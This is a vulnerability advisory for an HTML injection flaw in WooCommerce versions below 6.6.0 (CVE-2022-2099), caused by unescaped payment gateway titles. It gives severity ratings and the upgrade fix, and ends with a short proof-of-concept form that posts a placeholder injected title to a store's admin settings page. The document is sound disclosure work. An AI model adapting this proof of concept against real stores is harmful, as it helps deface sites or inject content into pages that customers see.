HTML Injection Affecting woocommerce/woocommerce package, versions <6.6.0
Exploit Maturity
Proof of concept
Attack Complexity
Low
Privileges Required
High
User Interaction
Required
Scope
Changed
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications-
snyk-id
SNYK-PHP-WOOCOMMERCEWOOCOMMERCE-2958045
-
published
22 Jul 2022
-
disclosed
18 Jul 2022
-
credit
Unknown
Introduced: 18 Jul 2022
New CVE-2022-2099 Open this link in a new tabHow to fix?
Upgrade woocommerce/woocommerce
to version 6.6.0 or higher.
Overview
woocommerce/woocommerce is an eCommerce toolkit that helps you sell anything.
Affected versions of this package are vulnerable to HTML Injection due to lack of escaping and sanitizing in the payment gateway titles.
PoC
<html>
<form action="http://example.com/wp-admin/admin.php?page=wc-settings&tab=checkout§ion=bacs" method="POST">
<input class="input-text regular-input " type="text" name="woocommerce_bacs_title" id="woocommerce_bacs_title" style="" value="HTML INJECTION" placeholder="">
<p class="submit">
<button name="save" class="button-primary woocommerce-save-button" type="submit" value="Save changes">Save changes</button>
<input type="hidden" id="_wpnonce" name="_wpnonce" value="bfdcc984ec"><input type="hidden" name="_wp_http_referer" value="/wp-admin/admin.php?page=wc-settings&tab=checkout&section=bacs"> </p>
</form>
</html>